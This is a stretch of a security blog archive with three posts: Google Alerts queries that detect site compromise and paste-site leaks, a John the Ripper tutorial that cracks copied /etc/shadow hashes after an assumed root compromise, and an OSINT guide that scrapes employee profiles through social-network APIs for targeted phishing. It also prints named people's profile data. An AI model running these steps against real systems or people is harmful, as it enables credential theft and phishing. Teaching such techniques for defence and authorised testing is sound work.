Let's take a quick look at a couple of examples. We can create and manage our Google Alerts <a href="http://www.google.com/alerts/manage" target="_blank">here</a>. The first scenario we want to setup a Google Alert for is the case that our company website has been compromised, and the attacker is using it to broadcast SPAM and other malicious content. We can create the following search query to help detect this (keywords found <a href="http://www.searchenginejournal.com/the-ninjas-guide-to-google-alerts/48068/" target="_blank">here</a>):</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">site:your-site.com acne OR botox OR casino OR dating OR debt OR insurance OR mortgage OR paxil OR pharmacy OR phentamine OR pherimones OR poker OR porn OR OR roulette sex OR viagara OR viagra OR xxx</span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Setting up the alert will look like this:</div>
<div style="text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvoJjEirsvWvqfIK_mE3QybB848wjPnvvEDcpI3OaZd1cXHEJiRCpGzLk7hUlldTWoqGhD4cRdqy-hgDxI98x_qJntC95h4hdiDWfkebrTYVVwbex_n0LTTxYIX3IWM9msYD2RYPVTnw/s1600/site_compromise.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="303" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvoJjEirsvWvqfIK_mE3QybB848wjPnvvEDcpI3OaZd1cXHEJiRCpGzLk7hUlldTWoqGhD4cRdqy-hgDxI98x_qJntC95h4hdiDWfkebrTYVVwbex_n0LTTxYIX3IWM9msYD2RYPVTnw/s400/site_compromise.PNG" width="400" /></a></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
As you can see, we will receive an email as soon as Google detects these keywords on our site, which will be handy in helping us quickly detect a compromise.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
It's becoming common for attackers to use paste sites to release details of their intrusions. For our next scenario, let's setup a Google Alerts that monitors the more common paste sites for occurrences of our company name. We'll use the following search query:</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;">site:4shared.com OR site:mysticpaste.com OR site:tidypaste.com OR site:pastesite.com OR site:slexy.org OR site:privatepaste.com OR site:pastebin.com OR site:gist.github.com OR site:pastie.org "Company Name" OR "companysite.com" OR "keyword"</span></div>
<div style="text-align: left;">
<span style="font-family: Courier New, Courier, monospace;"><br /></span></div>
<div style="text-align: left;">
<span style="font-family: inherit;">This search query checks for occurrences of our company name, company site, or any other keywords that would pertain to our company. This kind of alert will help us detect a compromise very soon after an attacker posts details of the intrusion.</span></div>
<div style="text-align: left;">
<span style="font-family: inherit;"><br /></span></div>
<div style="text-align: left;">
<span style="font-family: inherit; font-size: large;">Conclusion</span></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
Google Alerts are a fantastic resource for the following reasons and more:</div>
<div style="text-align: left;">
</div>
<ul>
<li>Only need to set them up once (easy to add or modify, too!)</li>
<li>Google is often checking for updates to our sites, making detection of changes very quick</li>
<li>Email is sent as soon as a change is detected</li>
</ul>
<div>
While this post provided a couple of example Google Alerts, the possibilities with this tool are endless. Have any other queries or examples that should be added to any sysadmin's Google Alerts? Let me know in the comments below!</div>
<div>
<br /></div>
<div>
- Jordan</div>
Jordanhttp://www.blogger.com/profile/09317580042468804874noreply@blogger.com1tag:blogger.com,1999:blog-33242194251147061.post-3496341996339533022013-01-04T18:55:00.000-06:002013-01-05T01:36:24.898-06:00Cracking Unix Password Hashes with John the Ripper (JTR)<span style="font-size: large;">Introduction</span><br />
<br />
This post will serve as an introduction to password cracking, and show how to use the popular tool <a href="http://www.openwall.com/john/" target="_blank">John-the-Ripper (JTR)</a> to crack standard Unix password hashes. I am also working on a follow-up post that will provide a far more comprehensive look at password cracking techniques as well as the different tools employed (as well as their pros/cons).<br />
<a name='more'></a><span style="font-size: large;">The Scenario</span><br />
<br />
Our scenario is the following: We have just compromised and gained <a href="https://en.wikipedia.org/wiki/Superuser">root access</a> to a Unix machine on our target's network. Now, to better maintain access, and to facilitate further intrusion, we will attempt to extract and crack the password hashes on the host.<br />
<span style="font-size: large;"><br /></span>
<span style="font-size: large;">Where are Password Hashes Stored?</span><br />
<br />
Before we can crack the password hashes, we first need to know where they are stored. Traditionally (according to Wikipedia, <a href="https://en.wikipedia.org/wiki/Shadow_(file)#History" target="_blank">before 1988</a>) password hashes for account were stored in the <a href="https://en.wikipedia.org/wiki/Passwd_(file)" target="_blank">/etc/passwd</a> file. However, this caused security issues since the file was readable by all users on the system. Now, instead of a password hash, this file contains an "x" to indicate that the password details are located in a different place: the <a href="https://en.wikipedia.org/wiki/Shadow_(file)" target="_blank">/etc/shadow</a> file. This file is only readable by the superuser (root), so there is far less of a security risk associated with this file.<br />
<br />
<span style="font-size: large;">Password File Format</span><br />
<br />
The following diagram will hopefully help illustrate the <a href="https://en.wikipedia.org/wiki/Passwd_(file)#File_format" target="_blank">format</a> used in the passwd (and essentially the shadow) files:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgapOf8HjvBXchYgBKf35dM65ZJSYvIgzeORwl13Bh_-Us4G_PTLUQeFWWRFVL2D46jY4eQDGHi4whSWJCmuXNngBSlFTocGHr44ZiiJLpEx4xKKBCm4k6j_2BVF_TqS_XvGAostVPp9Q/s1600/password_format.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="74" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgapOf8HjvBXchYgBKf35dM65ZJSYvIgzeORwl13Bh_-Us4G_PTLUQeFWWRFVL2D46jY4eQDGHi4whSWJCmuXNngBSlFTocGHr44ZiiJLpEx4xKKBCm4k6j_2BVF_TqS_XvGAostVPp9Q/s640/password_format.png" style="border-color: transparent;" width="640" /></a></div>
<br />
<br />
<span style="font-size: large;">Password Cracking Process</span><br />
<br />
An important thing to note is that these two files have some overlapping content. John the Ripper's tool suite provides a nifty tool to merge these two files into one called "unshadow". To use it, we simply need to specify the passwd file, and the shadow file. For the sake of this post, we will use the /etc/passwd and /etc/shadow files on my local Backtrack VM. However, in the case of our scenario above we will have copied these files from our compromised machine to our Backtrack machine, and then specify the location of these files to unshadow. Then, we send the output to a new file of our choice. This looks like the following:<br />
<br />
<script src="https://gist.github.com/4459620.js"></script>
We can immediately notice the password hash for the user root. Let's fire up JTR, and point it to this passwords.txt file. To perform the cracking, we will use the --single option. From the documentation:<br />
<br />
"This is the mode you should start cracking with. It will use the login names, "GECOS" / "Full Name" fields, and users' home directory names as candidate passwords, also with a large set of mangling rules applied. Since the information is only used against passwords for the accounts it was taken from (and against password hashes which happened to be assigned the same salt), "single crack" mode is much faster than wordlist mode. This permits for the use of a much larger set of word mangling rules with "single crack", and their use is always enabled with this mode. Successfully guessed passwords are also tried against all loaded password hashes just in case more users have the same password."<br />
<br />
<div style="text-align: right;">
<i><a href="http://www.openwall.com/john/doc/MODES.shtml" target="_blank">- John the Ripper Documentation</a></i></div>
<br />
Let's see this in action and attempt to crack the password hash for the root user:<br />
<br />
<script src="https://gist.github.com/4459712.js"></script>
Success! After we finished cracking the password hashes found in the passwords.txt file, we can use the command john --show [file] to display the found account details. These details are displayed in the same format as the password file, with the only exception being that the password hash is now replaced by the password 'toor' (the default password for the root user on Backtrack).<br />
<br />
I hope this short introduction to password cracking helps. Keep an eye out for a more comprehensive post covering more JTR cracking techniques, as well as other password cracking tools and methods. And, as always, don't hesitate to leave any questions or comments below.<br />
<br />
-JordanJordanhttp://www.blogger.com/profile/09317580042468804874noreply@blogger.com0tag:blogger.com,1999:blog-33242194251147061.post-44610608038525388722012-12-30T00:55:00.003-06:002013-04-17T16:46:22.408-05:00Automated Open Source Intelligence (OSINT) Using APIs<span style="font-size: large;">Introduction</span><br />
<br />
The first step to performing any successful security engagement is reconnaissance. How much information one is able to enumerate about given personnel (for social engineering engagements) or systems can often impact the effectiveness of the engagement. In this post, we will discuss what Open Source Intelligence (OSINT) is and why it takes so much time, as well as ways we can use various application programming interfaces (APIs) to automate much of this process for us. Hopefully this post will help shed light on the importance of proper privacy settings, and the threat of automated information gathering due to APIs.<br />
<br />
<a name='more'></a><span style="font-size: large;">Table of Contents</span><br />
<br />
This this blog covers quite a bit of information, I thought it might be handy to have a short outline/table of contents to for those who may find it useful. For the sake of brevity, in this post I will only be covering APIs for finding information about individuals (as opposed to information about systems and networks).<br />
<ul>
<li><a href="http://raidersec.blogspot.com/2012/12/automated-open-source-intelligence.html#what_is_osint">What is Open Source Intelligence?</a></li>
<li><a href="http://www.blogger.com/blogger.g?blogID=33242194251147061#why_automate">Why We Should Try to Automate the Process</a></li>
<li>APIs for Gathering Personnel Information</li>
<ul>
<li><a href="http://raidersec.blogspot.com/2012/12/automated-open-source-intelligence.html#facebook_api">Facebook Open Graph API</a></li>
<li><a href="http://raidersec.blogspot.com/2012/12/automated-open-source-intelligence.html#google_api">Google Custom Search API</a></li>
<li><a href="http://raidersec.blogspot.com/2012/12/automated-open-source-intelligence.html#twitter_api">Twitter API</a></li>
<li><a href="http://raidersec.blogspot.com/2012/12/automated-open-source-intelligence.html#google_plus_api">Google+ API</a></li>
<li><a href="http://raidersec.blogspot.com/2012/12/automated-open-source-intelligence.html#other_resources">Other Automated Resources</a></li>
</ul>
<li><a href="http://raidersec.blogspot.com/2012/12/automated-open-source-intelligence.html#summary">Summary: What now?</a></li>
</ul>
<div>
<br /></div>
<span id="what_is_osint" style="font-size: large;">What is Open Source Intelligence?</span><br />
<br />
The process of gathering information from publicly available sources is known as <a href="http://en.wikipedia.org/wiki/Open-source_intelligence" target="_blank">Open Source Intelligence (OSINT)</a>. Publicly available sources can be anything from websites to WHOIS information to published court documents, etc. Also, the information we are looking for can simply be anything we want. From names and positions of company employees, to subdomain information and web server versions in use - it's all fair game.<br />
<br />
<span id="why_automate" style="font-size: large;">Why We Should Try to Automate the Process</span><br />
<br />
Since there are so many sources of information, it can often be overwhelming to try and manage the information gathered about a person or company. Also, this process can take a large amount of time if only manual techniques are used. Fortunately, many sites have APIs that make this process easier for us by returning the results in a very manageable JSON format. Let's take a look at a few social networking APIs now.<br />
<br />
<span id="facebook_api" style="font-size: large;">Facebook Open Graph API and Batch Requests</span><br />
<br />
Facebook unveiled its <a href="https://developers.facebook.com/docs/reference/api/" target="_blank">Graph API</a> in 2010 as a way to help streamline access to information. From an OSINT point of view, this API allows a social engineer to quickly and easily search for user profiles and public posts. This functionality is provided by the <a href="https://developers.facebook.com/docs/reference/api/#searching" target="_blank">"search" feature</a>. This feature allows us to search for public profiles, posts, events, groups, and more based on a given keyword. An example URL might look like the following:<br />
<br />
<pre style="background-color: #222222; border: 1px dashed rgb(204, 204, 204); font-family: arial; font-size: 14px; height: auto; line-height: 20px; overflow: auto; padding: 0px; width: 99%;"><code style="color: white; word-wrap: normal;"> https://graph.facebook.com/search?q=mark&type=user&access_token=[access_token]
</code></pre>
<br />
Here, we can see that our keyword is "mark" and we are searching for "user" results, which will return a list of public profiles. In this case, the results look like the following:<br />
<br />
<pre style="background-color: #222222; border: 1px dashed rgb(204, 204, 204); font-family: arial; font-size: 14px; height: auto; line-height: 20px; overflow: auto; padding: 0px; width: 99%;"><code style="color: white; word-wrap: normal;"> {
"data": [
{
"name": "Mark Zuckerberg",
"id": "4"
},
{
"name": "Mark Hoppus",
"id": "100000422852575"
},
{
"name": "Mark Cuban",
"id": "502351381"
},
{
"name": "Mark",
"id": "100004423320328"
},
{
"name": "Mark Milian",
"id": "5724374"
}
<snip><snip>
]
}
</snip></code></pre>
<br />
While this format may look a bit unfamiliar to some, it's actually very convenient and easy to work with. Before continuing coverage of the API's features, let's look at how we can easily obtain and access this data using Python.<br />
<br />
<pre style="background-color: #222222; border: 1px dashed rgb(204, 204, 204); font-family: arial; font-size: 13px; height: auto; line-height: 20px; overflow: auto; padding: 0px; width: 99%;"><code style="color: white; word-wrap: normal;"> >>> import requests
>>> import json
>>> # Let's access the API to get our data
>>> response = requests.get('https://graph.facebook.com/search?q=mark&type=user&access_token=[access_token]').text
>>>
>>> # We now have the data in our 'response' variable
>>> # We can load this as JSON data
>>> data = json.loads(response)
>>> # We can now access the data as a 'dictionary' object
>>> print data['data']
[{u'name': u'Mark Zuckerberg', u'id': u'4'}, {u'name': u'Mark Hoppus', u'id': u'100000422852575'}, {u'name': u'Mark Cuban', u'id': u'502351381'}, {u'name': u'Mark', u'i
d': u'100004423320328'}, {u'name': u'Mark Milian', u'id': u'5724374'}, {u'name': u'Mark Pacaco', u'id': u'100001468406166'}, {u'name': u'Mark Jansen', u'id': u'10000108
5421252'}, {u'name': u'Mark Badidou', u'id': u'100000422896943'}, {u'name': u'Mark Biem', u'id': u'1114864921'}, {u'name': u'Mark Kaganovich', u'id': u'28'}, {u'name':
u'Mark Glaser', u'id': u'500099119'}, {u'name': u'Mark Campos', u'id': u'100002666344195'}, {u'name': u'Mark Grabban', u'id': u'501001999'}, {u'name': u'Mark Rodrigues'
, u'id': u'100002480643839'}, {u'name': u'Mark Tremonti', u'id': u'100000004617180'}, {u'name': u'Mark Slee', u'id': u'204686'}, {u'name': u'BJ Mark', u'id': u'10000020
3662997'}, {u'name': u'Mark Lee', u'id': u'1712631895'}, {u'name': u'Mark Burn', u'id': u'100000617924417'}, {u'name': u'Mark Mendoza', u'id': u'100002626120094'}, {u'n
ame': u'Mark Holcomb', u'id': u'7404256'}, {u'name': u'Mark Maldonado', u'id': u'100001331564329'}, {u'name': u'Mark Margate', u'id': u'100000287187839'}, {u'name': u'M
ark Alejandro Perez', u'id': u'100000067248475'}]
>>>
>>> # It is trivial to run through the list and print every persons name, and facebok URL
>>> for person in data['data']:
... print "Name: " + person['name']
... print "Facebook URL: http://www.facebook.com/" + person['id']
...
Name: Mark Zuckerberg
Facebook URL: http://www.facebook.com/4
Name: Mark Hoppus
Facebook URL: http://www.facebook.com/100000422852575
Name: Mark Cuban
Facebook URL: http://www.facebook.com/502351381
<snip>
</code></pre>
<br />
As we can see, it is very easy to programmatically obtain, access, and manipulate this data. This makes the process of gathering this data automatic, and very quick.<br />
<br />
While in our previous example we used the search feature to find people based on name, the query ("q") parameter also searches other fields for matches. For example, if we want to find people that have either had their education at, or work for Texas Tech University, we would use the following URL:<br />
<br />
<pre style="background-color: #222222; border: 1px dashed rgb(204, 204, 204); font-family: arial; font-size: 14px; height: auto; line-height: 20px; overflow: auto; padding: 0px; width: 99%;"><code style="color: white; word-wrap: normal;"> https://graph.facebook.com/search?q=Texas%20Tech%20University&type=user&access_token=[access_token]
</code></pre>
<br />
This same technique can be extended to any company. Usually, the results are very accurate, however there will be some outliers - especially if we are searching for a big company like Google or Microsoft (since these terms can appear in quite a few fields on people's profiles).<br />
<br />
<i>But wait, there's more!</i><br />
<br />
If we thought the search feature was neat already, it actually has even more functionality that we can use to our advantage. For example, by changing the "type" parameter to "post", we can find public posts that include the word we search for. We can use this to find out what people are saying about our target company, and we might be able to use this to our advantage.<br />
<br />
<pre style="background-color: #222222; border: 1px dashed rgb(204, 204, 204); font-family: arial; font-size: 14px; height: auto; line-height: 20px; overflow: auto; padding: 0px; width: 99%;"><code style="color: white; word-wrap: normal;"> https://graph.facebook.com/search?q=Texas%20Tech%20University&type=post&access_token=[access_token]
</code></pre>
<br />
In addition to this, a little-known feature of the API search is that we can find profiles using a particular email address or phone number. If we put the email address at the "q" parameter, we can see whether or not there is a Facebook profile that uses this email address or phone number, and the owner of the profile allows themselves to be searched using these attributes (enabled by default, I believe).<br />
<br />
<pre style="background-color: #222222; border: 1px dashed rgb(204, 204, 204); font-family: arial; font-size: 14px; height: auto; line-height: 20px; overflow: auto; padding: 0px; width: 99%;"><code style="color: white; word-wrap: normal;"> https://graph.facebook.com/search?q=email@domain.com&type=user&access_token=[access_token]
</code></pre>
<br />
There's a ton of other features offered by the Graph API which we can use to our advantage as social engineers. I would highly recommend reading through the documentation to see other features that might suit whatever need you have. Facebook also offers the ability to make <a href="https://developers.facebook.com/docs/reference/api/batch/" target="_blank">Batch Requests</a>, which essentially allow developers to make multiple API requests in one call to Facebook. An example of when this can be handy would be checking for matches of multiple email addresses to Facebook profiles.<br />
<br />
As a side note, you may have noticed that these queries require an access token. To always generate a new access token, it is pretty simple to create your own Facebook App, then use a user profile to generate an access token which can then be used by the app to execute these queries.<br />
<br />
<span id="google_api" style="font-size: large;">Google Custom Search API</span><br />
<br />
In 2010, Google depreciated its <a href="https://developers.google.com/web-search/" target="_blank">Web Search API</a>, which has previously been the most efficient way for developers to programmatically access Google search results. Since then, Google has encouraged developers to migrate to the new <a href="https://developers.google.com/custom-search/v1/overview" target="_blank">Custom Search API</a>. This new API allows developers to setup a Custom Search Engine (CSE) which is used to search for results from a specific set of domains, and then programmatically access these results in JSON or Atom format. While only being able to search a subset of domains may seem restricting, with a little bit of effort, we can create a CSE that includes all sites - emulating the previous Web Search API.<br />
<br />
After setting up this CSE, we can use our Google-fu to easily pull results for things like Twitter users, Linkedin Users, documents from the companies website, etc. Let's take a look at a few examples.<br />
<br />
<i><b>LinkedIn</b></i><br />
<i><br /></i>Using the CSE we created, we can create queries which will help us quickly find profile information for LinkedIn users of a particular company. While these will be the public profiles of users, it is very common for privacy settings to be lax and allow us to see an individuals current position and company, prior work and educational experience, as well as any specific occupation/education related information they want potential employers to know about. There are times when this can amount to a large amount of information that is very useful to a social engineer.<br />
<br />
Consider the following Google query:<br />
<br />
<pre style="background-color: #222222; border: 1px dashed rgb(204, 204, 204); font-family: arial; font-size: 14px; height: auto; line-height: 20px; overflow: auto; padding: 0px; width: 99%;"><code style="color: white; word-wrap: normal;"> site:linkedin.com intitle:" | Linkedin" "at Texas Tech University" -intitle:profiles -inurl:groups -inurl:company -inurl:title </code></pre>
<br />
This query searches LinkedIn for profiles of people who have either had past or present occupation (or in this case educational) experience at Texas Tech University. This can also be extended to fit any company we wish. Let's see what kind of results we get when performing this query on our CSE using the fantastic Python <i>Requests</i> module:<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qrObdpYwarew84q7Jr7nVn8KhYT4mFpjPaauV7lNXORG-CWyNcL3ycbwyzOPz4eduCxDO6EQFgW0Zn1Sn0nDXpBA3UF3kROF0qCtE2f-D3ukZ5FkENJeA9Ue6LSSN7warVMDaXia5Lk/s320/codebg.gif); background: #222222; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 14px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> >>> import requests
>>> import json
>>> import urllib
>>> url = 'https://www.googleapis.com/customsearch/v1?key=[access_token]&cx=[cse_id]&q=' + urllib.quote('site:linkedin.com intitle:" | Linkedin" "at Texas Tech University" -intitle:profiles -inurl:groups -inurl:company -inurl:title')
>>> response = requests.get(url)
>>> print json.dumps(response.json, indent=4)
{
"kind": "customsearch#search",
"url": {
"type": "application/json",
"template": "https://www.googleapis.com/customsearch/v1?q={searchTerms}&num={count?}&start={startIndex?}&lr={language?}&safe={safe?}&cx={cx?}&cref={cref?}&sort={sort?}&filter={filter?}&gl={gl?}&cr={cr?}&googlehost={googleHost?}&c2coff={disableCnTwTranslation?}&hq={hq?}&hl={hl?}&siteSearch={siteSearch?}&siteSearchFilter={siteSearchFilter?}&exactTerms={exactTerms?}&excludeTerms={excludeTerms?}&linkSite={linkSite?}&orTerms={orTerms?}&relatedSite={relatedSite?}&dateRestrict={dateRestrict?}&lowRange={lowRange?}&highRange={highRange?}&searchType={searchType}&fileType={fileType?}&rights={rights?}&imgSize={imgSize?}&imgType={imgType?}&imgColorType={imgColorType?}&imgDominantColor={imgDominantColor?}&alt=json"
},
"items": [
{
"kind": "customsearch#result",
"title": "Nick Acree | LinkedIn",
"displayLink": "www.linkedin.com",
"htmlTitle": "Nick Acree | <b>LinkedIn</b>",
"formattedUrl": "www.linkedin.com/in/nickacree",
"htmlFormattedUrl": "www.<b>linkedin</b>.com/in/nickacree",
"pagemap": {
"metatags": [
{
"pageimpressionid": "f137a0e0-0217-4f2e-840a-6a5f7c8ed7ec",
"analyticsurl": "/analytics/noauthtracker",
"pagekey": "nprofile-public-success"
}
],
"person": [
{
"role": "Chief Accountant at Texas Tech University | Game Theorist | Business Analyst | Finance and Investment Professional",
"location": "Dallas/Fort Worth Area"
}
],
"cse_thumbnail": [
{
"width": "80",
"src": "https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQxrZnydxNJ5eVGipiqNdK3CE49Nr-rCucJqSrzGFYM_me_bSgfkXLg",
"height": "80"
}
],
"cse_image": [
{
"src": "http://m3.licdn.com/mpr/pub/image-00drw8kMEo15Znh5uEziqdZ_4lSfBNJ5p0debpkH4SNZBkGj00de3NSM4wpLBNV2sj8A/nick-acree.jpg"
}
],
"hcard": [
{
"photo": "http://m3.licdn.com/mpr/pub/image-00drw8kMEo15Znh5uEziqdZ_4lSfBNJ5p0debpkH4SNZBkGj00de3NSM4wpLBNV2sj8A/nick-acree.jpg",
"fn": "Nick Acree",
"title": "Chief Accountant at Texas Tech University | Game Theorist | Business Analyst | Finance and Investment Professional"
},
{
"fn": "Texas Tech University - Rawls College of Business"
},
{
"fn": "Lawrence Dale Bell High School (L. D. Bell High School)"
},
{
"fn": "Advanced Business Analytics, Data Mining and Predictive Modeling"
},
{
"fn": "Banking and Finance Technologies"
},
{
"fn": "CFA Institute Candidates"
},
{
"fn": "Caribbean Community of Business Professionals (CCBP)"
},
{
"fn": "Caribbean Consultants & Professionals"
},
{
"fn": "Caribbean Jobs"
},
{
"fn": "Caribbean Professionals"
}
]
},
"snippet": "Chief Accountant at Texas Tech University | Game Theorist | Business Analyst | Finance and Investment Professional. Location: Dallas/Fort Worth Area; Industry ...",
"htmlSnippet": "Chief Accountant <b>at Texas Tech University</b> | Game Theorist | Business Analyst | <br> Finance and Investment Professional. Location: Dallas/Fort Worth Area; Industry <b>...</b>",
"link": "http://www.linkedin.com/in/nickacree",
"cacheId": "[cache_id]"
},
<snip>
</code></pre>
<br />
We can see that it's very straightforward to access and manipulate this data using the Requests modules and our CSE. More importantly, we can see just how much data is provided about each LinkedIn profile. Let's take a look at the useful data.<br />
<br />
We can see that the "person" attribute contains the "role" and "location" of the person. With regards to parsing, it would probably just be best to consider the "location" attribute of this key, since the "role" is also listed elsewhere. The "hcard" attribute is arguably the most key in terms of simple data. It contains the name, title (which is the same as the previous role attribute), and picture URL for the user. In addition to this, it contains the full names of all affiliations or associations with which the user identifies himself/herself. This could be <i>extremely</i> useful in Social Engineering if we wish to create rapport with the user ("Why yes, I'm a member of the 'Caribbean Jobs', too!"), or by making phishing emails much more targeted and effective.<br />
<br />
Also, if we ever wanted more data that may not have been included in these results (such as specific job descriptions and projects worked on), the "formattedUrl" attribute provides us with a direct link to the person's public LinkedIn proile.<br />
<br />
Let's see a quick example of how we can extract the useful information from this data. Let's aim to get the name, position, company, location, and other affiliations. We'll pick up right where we left off in the previous code example.<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qrObdpYwarew84q7Jr7nVn8KhYT4mFpjPaauV7lNXORG-CWyNcL3ycbwyzOPz4eduCxDO6EQFgW0Zn1Sn0nDXpBA3UF3kROF0qCtE2f-D3ukZ5FkENJeA9Ue6LSSN7warVMDaXia5Lk/s320/codebg.gif); background: #222222; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 14px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> >>> for item in response.json['items']:
hcard = item['pagemap']['hcard']
affiliations = []
name = 'N/A'
photo_url = 'N/A'
position = 'N/A'
company = 'N/A'
location = item['pagemap']['person'][0]['location']
profile_url = item['formattedUrl']
for card in hcard:
# If we are in our main contact info card
if 'title' in card:
if 'fn' in card: name = card['fn']
if 'photo' in card: photo_url = card['photo']
position = card['title'].split(' at ')[0]
company = card['title'].split(' at ')[1]
affiliations.append(card['fn'])
print 'Name: ' + name
print 'Position: ' + position
print 'Company: ' + company
print 'Location: ' + location
print 'Profile: ' + profile_url
print 'Photo: ' + photo_url
print 'Affiliations: ' + ','.join(affiliation for affiliation in affiliations) + '\n'
Name: Nick Acree
Position: Chief Accountant
Company: Texas Tech University | Game Theorist | Business Analyst | Finance and Investment Professional
Location: Dallas/Fort Worth Area
Profile: www.linkedin.com/in/nickacree
Photo: http://m3.licdn.com/mpr/pub/image-00drw8kMEo15Znh5uEziqdZ_4lSfBNJ5p0debpkH4SNZBkGj00de3NSM4wpLBNV2sj8A/nick-acree.jpg
Affiliations: Nick Acree,Texas Tech University - Rawls College of Business,Lawrence Dale Bell High School (L. D. Bell High School),Advanced Business Analytics, Data Mining and Predictive Modeling,Banking and Finance Technologies,CFA Institute Candidates,Caribbean Community of Business Professionals (CCBP),Caribbean Consultants & Professionals,Caribbean Jobs,Caribbean Professionals
Name: Sanatan Rajagopalan
Position: Graduate student
Company: Texas Tech University
Location: Lubbock, Texas
Profile: www.linkedin.com/pub/sanatan-rajagopalan/33/239/120
Photo: http://m3.licdn.com/mpr/pub/image-MdKHwBMBBGplBvejy8rBq4Kx0KNqE0buKnxvqbRE0LKnZ8O5MdKv3XdB091sOUCRw0J-/sanatan-rajagopalan.jpg
Affiliations: Sanatan Rajagopalan,Texas Tech University,Visvesvaraya Technological University,ASIC, FPGA, SoC - Southern Cal and Southwest,Accenture - India (IDC),Atmel AVR Developers,Broadcom Corporation,Calculated Moves :: Embedded and Semiconductor,Cirrus Logic,Computer & Software Engineering Professionals
Name: Mukaddes Darwish
Position: associate prof.
Company: Texas Tech University
Location: Lubbock, Texas Area
Profile: www.linkedin.com/pub/mukaddes-darwish/9/361/589
Photo: N/A
Affiliations: Mukaddes Darwish,Texas Tech University,Construction Industry Ethical Professionals,Texas Tech Group
<snip>
</code></pre>
<br />
It's should be clear by now just how easy it is to manipulate this data. This is considered very passive reconnaissance because you can notice that we never browse to LinkedIn directly to gather this information. It should be noted that LinkedIn does have <a href="http://developer.linkedin.com/rest" target="_blank">its own API</a>, but with very strict ToS, and I can't think of much information LinkedIn's API provides that is not listed in the Custom Search API results.<br />
<br />
This same automation with the Google Custom Search API can be extended to find files on company websites with a specific extension (such as .xls, .doc, etc.), and much, much more (perhaps there will be more coverage in a future post). For now, let's see how we can find Twitter profiles using this API, and then let's see what we can do with them.<br />
<br />
<b><i>Twitter (finding profiles using Google Custom Search API)</i></b><br />
<b><i><br /></i></b>Now let's take a look at how we can find Twitter profiles using the Google Custom Search API. Again, we will turn to our simple Google-fu skills to search for only profile pages. However, there isn't an easy way (that I know of) to only find profiles of people who work for a specific company, however we can search for the company name as another keyword, and Google will of course return profiles that are associated in some way with that company name, which proves to be fairly successful. Here's the query that we will use:<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qrObdpYwarew84q7Jr7nVn8KhYT4mFpjPaauV7lNXORG-CWyNcL3ycbwyzOPz4eduCxDO6EQFgW0Zn1Sn0nDXpBA3UF3kROF0qCtE2f-D3ukZ5FkENJeA9Ue6LSSN7warVMDaXia5Lk/s320/codebg.gif); background: #222222; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 14px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> site:twitter.com intitle:"on Twitter" "Texas Tech University" </code></pre>
<br />
Let's see what results we get running this query against our CSE:<br />
<br />
<pre style="background-image: URL(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh-qrObdpYwarew84q7Jr7nVn8KhYT4mFpjPaauV7lNXORG-CWyNcL3ycbwyzOPz4eduCxDO6EQFgW0Zn1Sn0nDXpBA3UF3kROF0qCtE2f-D3ukZ5FkENJeA9Ue6LSSN7warVMDaXia5Lk/s320/codebg.gif); background: #222222; border: 1px dashed #CCCCCC; color: black; font-family: arial; font-size: 14px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: white; word-wrap: normal;"> >>> import requests
>>> import urllib
>>> import json
>>> url = 'https://www.googleapis.com/customsearch/v1?key=api_key&cx=cse_id&q=' + urllib.quote('site:twitter.com intitle:"on Twitter" "Texas Tech University"')
>>> response = requests.get(url)
>>> print json.dumps(response.json, indent=4)
{
<snip>
"items": [
{
"kind": "customsearch#result",
"title": "Texas Tech (TexasTech) on Twitter",
"displayLink": "twitter.com",
"htmlTitle": "Texas Tech (TexasTech) <b>on Twitter</b>",
"formattedUrl": "https://twitter.com/TexasTech",
"htmlFormattedUrl": "https://twitter.com/TexasTech",
"pagemap": {
"metatags": [
{
"swift-page-name": "profile",
"msapplication-tilecolor": "#00aced",
"msapplication-tileimage": "//si0.twimg.com/favicons/win8-tile-144.png"
}
],
"cse_thumbnail": [
{
"width": "70",
"src": "https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcQ9KpcntYMuLP6DvUzHmTk42m6F8K_bEGGF3cUwTPz1EG4qqxZZKwDr",
"height": "70"
}
],
"cse_image": [
{
"src": "https://twimg0-a.akamaihd.net/profile_images/1376063137/twitter-profile-pic_bigger.jpg"
}
]
},
"snippet": "@TexasTech. Raider Power! Official Twitter account of Texas Tech University. News, events and updates. Tweeting M-F. Join the #Raiderland conversation!",
"htmlSnippet": "@TexasTech. Raider Power! Official Twitter account of <b>Texas Tech University</b>. <br> News, events and updates. Tweeting M-F. Join the #Raiderland conversation!",
"link": "https://twitter.com/TexasTech",
"cacheId": "sEefr6w340UJ"
},
<snip>
],
}
</code></pre>
<br />
